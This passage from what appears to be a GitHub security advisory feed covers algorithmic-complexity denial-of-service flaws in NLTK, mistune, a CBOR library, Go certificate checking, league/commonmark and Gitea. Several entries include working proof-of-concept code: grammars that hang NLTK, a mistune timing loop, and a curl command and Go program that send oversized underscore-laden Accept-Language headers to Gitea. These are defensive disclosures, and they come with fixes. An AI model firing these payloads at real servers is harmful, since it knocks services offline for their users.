      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FF5C-CP5C-9WJF

Vulnerability from github – Published: 2026-09-02 14:33 – Updated: 2026-09-02 14:33
VLAI
Summary
NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars
Details

nltk.parse.RecursiveDescentParser (and SteppingRecursiveDescentParser) enumerate parses top-down with no bound on the number of recursive steps. A small, crafted context-free grammar makes a short input consume unbounded CPU (and/or exhaust the Python recursion stack), pinning a process indefinitely — a denial of service.

Proof of concept

Both of the following hang on a 24-token input (killed after 8s; growth is super-linear in input length), on NLTK develop:

from nltk import CFG
from nltk.parse import RecursiveDescentParser

# (a) left recursion -> unbounded recursion
g = CFG.fromstring("S -> S S | 'a'")
list(RecursiveDescentParser(g).parse(["a"] * 24))   # hangs

# (b) ambiguous grammar -> exponential number of parses
g = CFG.fromstring("S -> 'a' S | 'a' S S | 'a'")
list(RecursiveDescentParser(g).parse(["a"] * 24))   # hangs

Impact

An application that runs RecursiveDescentParser on a grammar (or an input) drawn from an untrusted source can be driven into an unbounded CPU / stack-exhaustion loop by a tiny payload. No confidentiality or integrity impact; single-process availability only.

Sibling

The RegexpTokenizer ReDoS reported alongside this (CVE-2026-12875) is a different class (caller-supplied regex) and is addressed under GHSA-w3v8-gmh9-3wv7.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-12876"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407",
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T14:33:38Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "`nltk.parse.RecursiveDescentParser` (and `SteppingRecursiveDescentParser`) enumerate parses top-down with no bound on the number of recursive steps. A small, crafted context-free grammar makes a short input consume unbounded CPU (and/or exhaust the Python recursion stack), pinning a process indefinitely \u2014 a denial of service.\n\n## Proof of concept\n\nBoth of the following hang on a 24-token input (killed after 8s; growth is super-linear in input length), on NLTK develop:\n\n```python\nfrom nltk import CFG\nfrom nltk.parse import RecursiveDescentParser\n\n# (a) left recursion -\u003e unbounded recursion\ng = CFG.fromstring(\"S -\u003e S S | \u0027a\u0027\")\nlist(RecursiveDescentParser(g).parse([\"a\"] * 24))   # hangs\n\n# (b) ambiguous grammar -\u003e exponential number of parses\ng = CFG.fromstring(\"S -\u003e \u0027a\u0027 S | \u0027a\u0027 S S | \u0027a\u0027\")\nlist(RecursiveDescentParser(g).parse([\"a\"] * 24))   # hangs\n```\n\n## Impact\n\nAn application that runs `RecursiveDescentParser` on a grammar (or an input) drawn from an untrusted source can be driven into an unbounded CPU / stack-exhaustion loop by a tiny payload. No confidentiality or integrity impact; single-process availability only.\n\n## Sibling\n\nThe RegexpTokenizer ReDoS reported alongside this (CVE-2026-12875) is a different class (caller-supplied regex) and is addressed under GHSA-w3v8-gmh9-3wv7.",
  "id": "GHSA-ff5c-cp5c-9wjf",
  "modified": "2026-09-02T14:33:39Z",
  "published": "2026-09-02T14:33:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-ff5c-cp5c-9wjf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/pull/3649"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/43aaca1b9024138421c97f970bf13ee19ac8129d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/releases/tag/v3.10.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars"
}

GHSA-FFQ3-XPV3-J92Q

Vulnerability from github – Published: 2026-07-20 21:24 – Updated: 2026-07-20 21:24
VLAI
Summary
Mistune block_parser: quadratic-time parsing on long lists of repeated reference-link definitions
Details

Summary

Type: Algorithmic-complexity DoS in reference-link definition handling. A markdown document with N reference-link definitions of the same key (or many distinct keys) takes O(N²) parser time. 5000 repeated [a]: u\n definitions take ~1.1 second; 10000 → ~4.5 seconds. File: src/mistune/block_parser.py (reference-link def parsing) and the surrounding ref_links env-dictionary handling. Root cause: every reference definition is parsed by scanning forward from each candidate position. The unikey normalisation runs per-def, the dictionary insert is per-def, and the lookup-by-label-then-iterate-defs path is linear in the number of stored defs. For input with N defs, the total work is O(N²).

Affected Code

src/mistune/block_parser.py — reference-definition rule fires on every line that matches [label]: url. For each one: - unikey(label) is called (linear scan of the label). - The def is appended to state.env['ref_links']. - Later inline-link resolution looks up by unikey(label) in the dict (O(1)) but the surrounding parser revisits the def list for paragraph-vs-def disambiguation.

The cumulative parse time grows as the square of the number of defs.

Why it's wrong: the parser does not amortise the def-list scan. A single forward pass with a hash-keyed dict (already in place) plus a per-line classifier should make this O(N).

Exploit Chain

  1. Application uses mistune to render attacker-supplied markdown. No plugins required.
  2. Attacker submits a 35 KB document of [a]: u\n repeated 5000 times followed by [click][a].
  3. CPU pegs for ~1.1 seconds. 10000 defs → ~4.5 s. 20000 → ~18 s. Doubling input quadruples time.

Security Impact

Attacker capability: small input → large CPU. Predictable scaling. Can be repeated. Preconditions: application uses mistune.create_markdown() (default config) on attacker-supplied markdown. Worth noting: the ref_links dictionary persists for the lifetime of the parse, so a long document with many defs builds up memory; with N defs of attacker-chosen length, the per-def normalisation cost compounds. Differential: PoC-verified against mistune@3.2.1, default config:

import mistune, time
md = mistune.create_markdown()
for n in [1000, 2000, 5000, 10000]:
    s = '[a]: u\n' * n + '[click][a]'
    t = time.time()
    md(s)
    print(f'  ref defs * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms')

# Output (Python 3.13, Linux, 2.5GHz CPU):
#   ref defs *  1000  ( 7012b):    46ms
#   ref defs *  2000 (14012b):   186ms
#   ref defs *  5000 (35012b):  1121ms
#   ref defs * 10000 (70012b):  4400ms

The patched build (with the surrounding parser amortised to O(N)) keeps the time linear.

Suggested Fix

Replace the per-def re-scan with a single forward pass that classifies each line into ref_def | paragraph | other once and only inserts into ref_links once per def. The dict already exists; the wasted work is in the surrounding scan loop, not in the dict operations.

A regression test asserting that md('[a]: u\n' * 50_000 + '[click][a]') completes in under 1 second would catch any regression.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mistune"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59928"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:24:18Z",
    "nvd_published_at": "2026-07-08T17:17:28Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n**Type:** Algorithmic-complexity DoS in reference-link definition handling. A markdown document with N reference-link definitions of the same key (or many distinct keys) takes O(N\u00b2) parser time. 5000 repeated `[a]: u\\n` definitions take ~1.1 second; 10000 \u2192 ~4.5 seconds.\n**File:** `src/mistune/block_parser.py` (reference-link def parsing) and the surrounding `ref_links` env-dictionary handling.\n**Root cause:** every reference definition is parsed by scanning forward from each candidate position. The `unikey` normalisation runs per-def, the dictionary insert is per-def, and the lookup-by-label-then-iterate-defs path is linear in the number of stored defs. For input with N defs, the total work is O(N\u00b2).\n\n## Affected Code\n\n`src/mistune/block_parser.py` \u2014 reference-definition rule fires on every line that matches `[label]: url`. For each one:\n- `unikey(label)` is called (linear scan of the label).\n- The def is appended to `state.env[\u0027ref_links\u0027]`.\n- Later inline-link resolution looks up by `unikey(label)` in the dict (O(1)) but the surrounding parser revisits the def list for paragraph-vs-def disambiguation.\n\nThe cumulative parse time grows as the square of the number of defs.\n\n**Why it\u0027s wrong:** the parser does not amortise the def-list scan. A single forward pass with a hash-keyed dict (already in place) plus a per-line classifier should make this O(N).\n\n## Exploit Chain\n\n1. Application uses mistune to render attacker-supplied markdown. No plugins required.\n2. Attacker submits a 35 KB document of `[a]: u\\n` repeated 5000 times followed by `[click][a]`.\n3. CPU pegs for ~1.1 seconds. 10000 defs \u2192 ~4.5 s. 20000 \u2192 ~18 s. Doubling input quadruples time.\n\n## Security Impact\n\n**Attacker capability:** small input \u2192 large CPU. Predictable scaling. Can be repeated.\n**Preconditions:** application uses `mistune.create_markdown()` (default config) on attacker-supplied markdown. Worth noting: the `ref_links` dictionary persists for the lifetime of the parse, so a long document with many defs builds up memory; with N defs of attacker-chosen length, the per-def normalisation cost compounds.\n**Differential:** PoC-verified against mistune@3.2.1, default config:\n\n```python\nimport mistune, time\nmd = mistune.create_markdown()\nfor n in [1000, 2000, 5000, 10000]:\n    s = \u0027[a]: u\\n\u0027 * n + \u0027[click][a]\u0027\n    t = time.time()\n    md(s)\n    print(f\u0027  ref defs * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms\u0027)\n\n# Output (Python 3.13, Linux, 2.5GHz CPU):\n#   ref defs *  1000  ( 7012b):    46ms\n#   ref defs *  2000 (14012b):   186ms\n#   ref defs *  5000 (35012b):  1121ms\n#   ref defs * 10000 (70012b):  4400ms\n```\n\nThe patched build (with the surrounding parser amortised to O(N)) keeps the time linear.\n\n## Suggested Fix\n\nReplace the per-def re-scan with a single forward pass that classifies each line into `ref_def | paragraph | other` once and only inserts into `ref_links` once per def. The dict already exists; the wasted work is in the surrounding scan loop, not in the dict operations.\n\nA regression test asserting that `md(\u0027[a]: u\\n\u0027 * 50_000 + \u0027[click][a]\u0027)` completes in under 1 second would catch any regression.",
  "id": "GHSA-ffq3-xpv3-j92q",
  "modified": "2026-07-20T21:24:18Z",
  "published": "2026-07-20T21:24:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-ffq3-xpv3-j92q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59928"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/commit/2b04d7ba341c16ac78fe82d3076bdd5c3de87c69"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.3.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2216.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune block_parser: quadratic-time parsing on long lists of repeated reference-link definitions"
}

GHSA-FJ2W-WFGV-MWQ6

Vulnerability from github – Published: 2022-01-21 23:21 – Updated: 2026-01-22 20:53
VLAI
Summary
Denial of service in CBOR library
Details

Impact

Due to this library's use of an inefficient algorithm, it is vulnerable to a denial of service attack when a maliciously crafted input is passed to DecodeFromBytes or other CBOR decoding mechanisms in this library.

Affected versions include versions 4.0.0 through 4.5.0.

This vulnerability was privately reported to me.

Patches

This issue has been fixed in version 4.5.1. Users should use the latest version of this library. (The latest version is not necessarily 4.5.1. Check the README for this library's repository to see the latest version's version number.)

Workarounds

Again, users should use the latest version of this library.

In the meantime, note that the inputs affected by this issue are all CBOR maps or contain CBOR maps. An input that decodes to a single CBOR object is not capable of containing a CBOR map if—

  • it begins with a byte other than 0x80 through 0xDF, or
  • it does not contain a byte in the range 0xa0 through 0xBF.

Such an input is not affected by this vulnerability and an application can choose to perform this check before passing it to a CBOR decoding mechanism.

For more information

If you have any questions or comments about this advisory: * Open an issue in the CBOR repository.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.upokecenter:cbor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-23684"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-01-19T16:15:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\nDue to this library\u0027s use of an inefficient algorithm, it is vulnerable to a denial of service attack when a maliciously crafted input is passed to `DecodeFromBytes` or other CBOR decoding mechanisms in this library.  \n\nAffected versions _include_ versions 4.0.0 through 4.5.0.\n\nThis vulnerability was privately reported to me.\n\n### Patches\nThis issue has been fixed in version 4.5.1.  Users should use the latest version of this library.  (The latest version is not necessarily 4.5.1.  Check the README for [this library\u0027s repository](https://github.com/peteroupc/CBOR-Java) to see the latest version\u0027s version number.)\n\n### Workarounds\n\nAgain, users should use the latest version of this library.\n\nIn the meantime, note that the inputs affected by this issue are all CBOR maps or contain CBOR maps.  An input that decodes to a single CBOR object is not capable of containing a CBOR map if\u0026mdash;\n\n- it begins with a byte other than 0x80 through 0xDF, or\n- it does not contain a byte in the range 0xa0 through 0xBF.\n\nSuch an input is not affected by this vulnerability and an application can choose to perform this check before passing it to a CBOR decoding mechanism.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the CBOR repository](https://github.com/peteroupc/CBOR-Java).",
  "id": "GHSA-fj2w-wfgv-mwq6",
  "modified": "2026-01-22T20:53:20Z",
  "published": "2022-01-21T23:21:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/peteroupc/CBOR-Java/security/advisories/GHSA-fj2w-wfgv-mwq6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23684"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/peteroupc/CBOR-Java"
    },
    {
      "type": "WEB",
      "url": "https://vulncheck.com/advisories/vc-advisory-GHSA-fj2w-wfgv-mwq6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of service in CBOR library"
}

GHSA-FRHW-MQJ2-WXW2

Vulnerability from github – Published: 2025-10-30 00:31 – Updated: 2025-11-05 00:31
VLAI
Details

Due to the design of the name constraint checking algorithm, the processing time of some inputs scals non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-58187"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-29T23:16:19Z",
    "severity": "MODERATE"
  },
  "details": "Due to the design of the name constraint checking algorithm, the processing time of some inputs scals non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.",
  "id": "GHSA-frhw-mqj2-wxw2",
  "modified": "2025-11-05T00:31:31Z",
  "published": "2025-10-30T00:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58187"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/cl/709854"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/issue/75681"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/golang-announce/c/4Emdl2iQ_bI"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-4007"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/10/08/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FV22-86FQ-C33Q

Vulnerability from github – Published: 2026-09-09 15:35 – Updated: 2026-09-09 15:35
VLAI
Details

league/commonmark versions before 2.6.0 contain polynomial time complexity vulnerabilities in Markdown parsing that allow attackers to cause denial of service. Attackers can submit carefully crafted Markdown inputs designed to trigger worst-case performance, and sending multiple requests in parallel exhausts CPU resources and PHP-FPM processes.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-58382"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-09T14:17:10Z",
    "severity": "HIGH"
  },
  "details": "league/commonmark versions before 2.6.0 contain polynomial time complexity vulnerabilities in Markdown parsing that allow attackers to cause denial of service. Attackers can submit carefully crafted Markdown inputs designed to trigger worst-case performance, and sending multiple requests in parallel exhausts CPU resources and PHP-FPM processes.",
  "id": "GHSA-fv22-86fq-c33q",
  "modified": "2026-09-09T15:35:10Z",
  "published": "2026-09-09T15:35:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thephpleague/commonmark/security/advisories/GHSA-c2pc-g5qf-rfrf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58382"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/league-commonmark-before-2.6.0-denial-of-service-via-quadratic-complexity"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FW57-JGCH-PGF3

Vulnerability from github – Published: 2026-07-21 21:15 – Updated: 2026-07-21 21:15
VLAI
Summary
Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests
Details

Summary

The Locale middleware that runs in front of every unauthenticated request calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header without imposing a size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators burns ~2 seconds of server CPU on the host running Gitea; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~1 MiB of upstream bandwidth per request.

Affected versions

code.gitea.io/gitea 1.22.6 and (per code inspection of main) all earlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that do not impose their own size limit on the Accept-Language header before calling ParseAcceptLanguage. Verified on:

  • the official gitea/gitea:1.22.6 docker image (E2E below)
  • main at commit 6f4027a6be28c876c0abaf37cc939658645b78a3 by reading modules/web/middleware/locale.go (the call site at line 38 is unchanged on main)

Privilege required

Unauthenticated. The Locale middleware runs for every HTTP request including the landing page and the sign-in page.

Vulnerable code

modules/web/middleware/locale.go:38 (blob SHA fc396f0808187c358b4fc15dcefcd6957140a780):

// 3. Get language information from 'Accept-Language'.
// The first element in the list is chosen to be the default language automatically.
if len(lang) == 0 {
    tags, _, _ := language.ParseAcceptLanguage(req.Header.Get("Accept-Language"))
    tag := translation.Match(tags...)
    lang = tag.String()
}

req.Header.Get("Accept-Language") is the unfiltered HTTP header. Default Go net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Gitea does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.

CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 1 MiB header full of 9-character _aaaaaaaaa_aaaaaaaaa_... tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path. The fix author of CVE-2022-32149 treated - as the canonical separator; the _ alias was added in 2013, nine years before the fix.

How Accept-Language reaches ParseAcceptLanguage

Every Gitea HTTP request passes through Locale as it is wired up via the global request pipeline (Gitea registers the middleware on its router in routers/web/web.go). The middleware sequence is:

  1. The request enters Locale(resp, req).
  2. req.URL.Query().Get("lang") returns "" (attacker omits lang).
  3. req.Cookie("lang") returns nil on a fresh client (attacker uses a fresh client, or simply does not send the cookie).
  4. req.Header.Get("Accept-Language") returns the full attacker-supplied header value.
  5. language.ParseAcceptLanguage(...) runs unfiltered.

No size or character class filter is applied between (4) and (5).

Proof of concept

Single-line bash reproducer that crafts the malicious header and times one request against a fresh gitea/gitea:1.22.6 container:

docker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6
sleep 8

PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"

curl -sS -o /dev/null \
  -w 'http=%{http_code} t=%{time_total}\n' \
  -H "Accept-Language: ${PAYLOAD}" \
  http://127.0.0.1:13000/

Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).

End-to-end reproduction (against gitea/gitea:1.22.6)

A Go driver poc.go that boots the container, sends a 1 MiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):

// poc.go
package main

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "strings"
    "time"
)

const targetURL = "http://127.0.0.1:13000/"

func buildPayload(sep string, targetBytes int) string {
    const tok = "abcdefghi"
    var b strings.Builder
    b.Grow(targetBytes + 16)
    b.WriteString("en")
    for b.Len()+1+len(tok) <= targetBytes {
        b.WriteString(sep)
        b.WriteString(tok)
    }
    return b.String()
}

func send(label, header string) {
    client := &http.Client{
        Timeout: 60 * time.Second,
        Transport: &http.Transport{
            DisableKeepAlives: true,
            DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
        },
    }
    req, _ := http.NewRequest("GET", targetURL, nil)
    if header != "" {
        req.Header.Set("Accept-Language", header)
    }
    t0 := time.Now()
    resp, err := client.Do(req)
    dt := time.Since(t0)
    if err != nil {
        fmt.Printf("  %-32s ERR after %v: %v\n", label, dt, err)
        return
    }
    _, _ = io.Copy(io.Discard, resp.Body)
    resp.Body.Close()
    fmt.Printf("  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\n",
        label, len(header),
        strings.Count(header, "_"), strings.Count(header, "-"),
        resp.StatusCode, dt)
}

func main() {
    send("warm-up", "")
    send("baseline (no header)", "")
    send("baseline (1 short tag)", "en-US")
    send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
    send("attack ('_' x 1MiB)",     buildPayload("_", 1<<20))
    send("attack repeat 2",          buildPayload("_", 1<<20))
    send("attack repeat 3",          buildPayload("_", 1<<20))
}

Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official gitea/gitea:1.22.6 image with no other tuning):

E2E: golang/x/text ParseAcceptLanguage '_' bypass through
go-gitea/gitea 1.22.6 Locale middleware at
modules/web/middleware/locale.go:38.

Target: http://127.0.0.1:13000/

  warm-up (no header)              header=0 B  '_'=0  '-'=0  status=200  t=18.079666ms

--- measurements (single request each) ---
  baseline (no header)             header=0 B  '_'=0  '-'=0  status=200  t=6.480333ms
  baseline (1 short tag)           header=5 B  '_'=0  '-'=1  status=200  t=5.0455ms
  guard-fires control ('-' x 1MiB) header=1048572 B  '_'=0  '-'=104857  status=200  t=26.020625ms
  attack ('_' x 1MiB)              header=1048572 B  '_'=104857  '-'=0  status=200  t=2.159538333s
  attack repeat 2                  header=1048572 B  '_'=104857  '-'=0  status=200  t=1.938493583s
  attack repeat 3                  header=1048572 B  '_'=104857  '-'=0  status=200  t=1.679953042s

Interpretation:

Request Header bytes Server time
no header / short tag 0 - 5 1 - 7 ms
1 MiB - separators (CVE-2022-32149 guard fires) 1 MiB 26 ms
1 MiB _ separators (guard bypassed) 1 MiB 1.7 - 2.2 s

The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 1 MiB - payload returns in 26 ms because the parser short-circuits with ErrTagListTooLarge. The _ attack returns 200 from the same endpoint but consumes ~2 s of server CPU because the guard did not fire and the quadratic scanner ran to completion.

Impact

  • One unauthenticated client can pin one CPU core for ~2 seconds per 1 MiB request.
  • Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Gitea instance indefinitely.
  • The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards.
  • Self-hosted Gitea installations published to the public internet (the common pattern) are exposed.

Suggested fix

Apply the size / character-class filter before reaching ParseAcceptLanguage. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count _ alongside - and short-circuit when the total exceeds a small ceiling:

// modules/web/middleware/locale.go
const maxAcceptLanguageSeparators = 32 // matches typical real browser values

if len(lang) == 0 {
    al := req.Header.Get("Accept-Language")
    if strings.Count(al, "-")+strings.Count(al, "_") > maxAcceptLanguageSeparators {
        // Refuse to call into the BCP 47 parser with absurd input.
        al = ""
    }
    tags, _, _ := language.ParseAcceptLanguage(al)
    tag := translation.Match(tags...)
    lang = tag.String()
}

A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.

The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive in depth at the only call site that consumes attacker input.

Credit

Reported by tonghuaroot.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58436"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T21:15:47Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe Locale middleware that runs in front of every unauthenticated request\ncalls `golang.org/x/text/language.ParseAcceptLanguage` on the raw\n`Accept-Language` header without imposing a size or shape filter. The\nunderlying parser has quadratic-time behaviour on long lists of malformed\nlanguage tags. The CVE-2022-32149 guard that golang.org/x/text added in\nv0.3.8 caps the number of `-` characters in the input at 1000, but it does\nnot cap `_` characters even though the parser\u0027s internal scanner aliases\n`_` to `-` before parsing. A single unauthenticated GET request with an\n`Accept-Language` header built out of `_` separators burns ~2 seconds of\nserver CPU on the host running Gitea; ten concurrent attackers saturate a\nten-core box for the duration of the attack while consuming ~1 MiB of\nupstream bandwidth per request.\n\n### Affected versions\n\n`code.gitea.io/gitea` 1.22.6 and (per code inspection of `main`) all\nearlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that\ndo not impose their own size limit on the `Accept-Language` header before\ncalling `ParseAcceptLanguage`. Verified on:\n\n- the official `gitea/gitea:1.22.6` docker image (E2E below)\n- `main` at commit `6f4027a6be28c876c0abaf37cc939658645b78a3` by reading\n  `modules/web/middleware/locale.go` (the call site at line 38 is unchanged\n  on `main`)\n\n### Privilege required\n\nUnauthenticated. The Locale middleware runs for every HTTP request\nincluding the landing page and the sign-in page.\n\n### Vulnerable code\n\n[`modules/web/middleware/locale.go:38`](https://github.com/go-gitea/gitea/blob/fc396f0808187c358b4fc15dcefcd6957140a780/modules/web/middleware/locale.go#L38)\n(blob SHA `fc396f0808187c358b4fc15dcefcd6957140a780`):\n\n```go\n// 3. Get language information from \u0027Accept-Language\u0027.\n// The first element in the list is chosen to be the default language automatically.\nif len(lang) == 0 {\n    tags, _, _ := language.ParseAcceptLanguage(req.Header.Get(\"Accept-Language\"))\n    tag := translation.Match(tags...)\n    lang = tag.String()\n}\n```\n\n`req.Header.Get(\"Accept-Language\")` is the unfiltered HTTP header. Default\nGo `net/http` `MaxHeaderBytes` is `1 \u003c\u003c 20` = 1 MiB and Gitea does not\noverride it, so the parser is allowed to receive up to a megabyte of\nattacker-controlled data.\n\nCVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters\nand rejecting inputs with more than 1000 of them. The guard does not count\n`_` characters even though the scanner converts `_` to `-` at parse time\n([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)).\nA 1 MiB header full of 9-character `_aaaaaaaaa_aaaaaaaaa_...` tokens\ncontains zero `-` characters, passes the guard, and then drives the\nscanner into the O(N\u00b2) `gobble` path. The fix author of CVE-2022-32149\ntreated `-` as the canonical separator; the `_` alias was added in 2013,\nnine years before the fix.\n\n### How `Accept-Language` reaches `ParseAcceptLanguage`\n\nEvery Gitea HTTP request passes through `Locale` as it is wired up via\nthe global request pipeline (Gitea 